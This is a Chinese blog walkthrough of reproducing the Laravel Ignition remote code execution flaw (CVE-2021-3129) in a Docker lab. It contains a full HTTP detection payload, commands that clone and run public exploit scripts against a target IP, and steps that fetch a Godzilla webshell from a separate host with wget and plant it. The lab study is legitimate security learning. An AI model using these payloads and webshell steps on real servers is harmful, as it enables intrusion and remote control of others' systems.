Laravel RCE(CVE-2021-3129)复现

目录

参考

环境搭建

漏洞分析

漏洞检测

漏洞利用

第一种方法 这个主要是关于工具脚本

第二种方法


参考

CVE-2021-3129 分析-云社区-华为云

环境搭建

我们这里通过docker来搞环境

https://github.com/SNCKER/CVE-2021-3129

//通过git复制过来
git clone https://github.com/SNCKER/CVE-2021-3129

//来到这个文件夹中
cd CVE*

//使用docker启动,没有docker-compose kali可以通过apt安装
docker-compose up -d
docker ps //查看开启的环境

//查看自己ip,然后访问
http://ip:8888

点击这个key,然后点击那里有横线的

 

漏洞分析

漏洞检测

 这里使用burp方便一点,下面是检测有没有漏洞的poc

POST /_ignition/execute-solution HTTP/1.1
Host: localhost:8000
Content-Length: 169
Accept: application/json
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Origin: http://localhost:8000
Referer: http://localhost:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
        "variableName": "1",
        "viewFile": "1"
    }
}

我们接下来打开burp,在这里,我们将上面的复制进去。

点击发送以后我们配置一下,这里使用自己环境机子的ip

最后响应包中是500,便是存在漏洞。

漏洞利用

第一种方法

注:两个exp我都没有成功,但是有人成功,可能是我机子有问题,所以这里大家可以自己试试

第一个exp

这里我们git过来的文件中就有exp python文件

然后我们最后一行修改内容为自己环境的ip和想执行的命令

 但是我们这里需要phpggc的环境,这里有两种方法:

1. git复制过来工具,git clone https://github.com/ambionics/phpggc.git

    这里注意exp文件要和工具在一个目录中,这种不太推荐。

2. 我们使用kali直接下载这个工具,lsudo apt-get install phpggc

但是吧,这里也不坑大家,这里我属实是没有成功,里面的三个rce跑完了也没有跑出来,但是也建议大家自己试试

所以我去github有找到了另一个exp,去尝试尝试。

第二个exp

#另一个exp
//还是使用git复制过来
git clone https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

//然后来到那个目录中
cd laraver-CVE*

//这里要看自己的ip
python3 laravel-CVE-2021-3129-EXP.py http://192.168.1.16:8888

 

作者提示我们是使用哥斯拉的,这里都别用错了。

 

但是这里又出现一个问题,就是我们连不上,这里自己分析一下问题。

1.写进去的马有问题

2.写进去了但是文件是空

3.自己操作有问题

4.哥斯拉有问题

首先3可以排除了,这里操作基本没什么问题。

然后就是4,这里我们生成一个php的马,然后放到本地机中,可以连接,没有问题

1和2都需要我们去容器目录中看看

进入容器的方法可以看看这个docker进入容器中的方法

根目录在/src/public中

我们发现了这个木马,经过查看没有发现什么不对的,这里排除了2,接下来就是验证马的问题了

 

我们使用哥斯拉生成一个shell.php的马,然后使用开启apache之类,放到根目录中,把后缀改成txt,然后我们使用wget下载过来。

//这里使用我们开启网站的ip,看看自己的
wget http://192.168.1.5/shell.txt

//然后把后缀改回来
mv shell.txt shell.php

 

最终这个是连接上去了,这样就是马出了问题,我们查看一下两个的区别。

 

我们发现这个有换行,那个没换行,感觉就是这个问题了,但是有的人确实可以直接连接,会不会是我哥斯拉版本有点高。

 


第二种方法

 因为本人还是比较菜,不怎么分析的明白,这里建议还看看华为云开发者联盟这里的

猜你喜欢

转载自blog.csdn.net/m0_64815693/article/details/128770761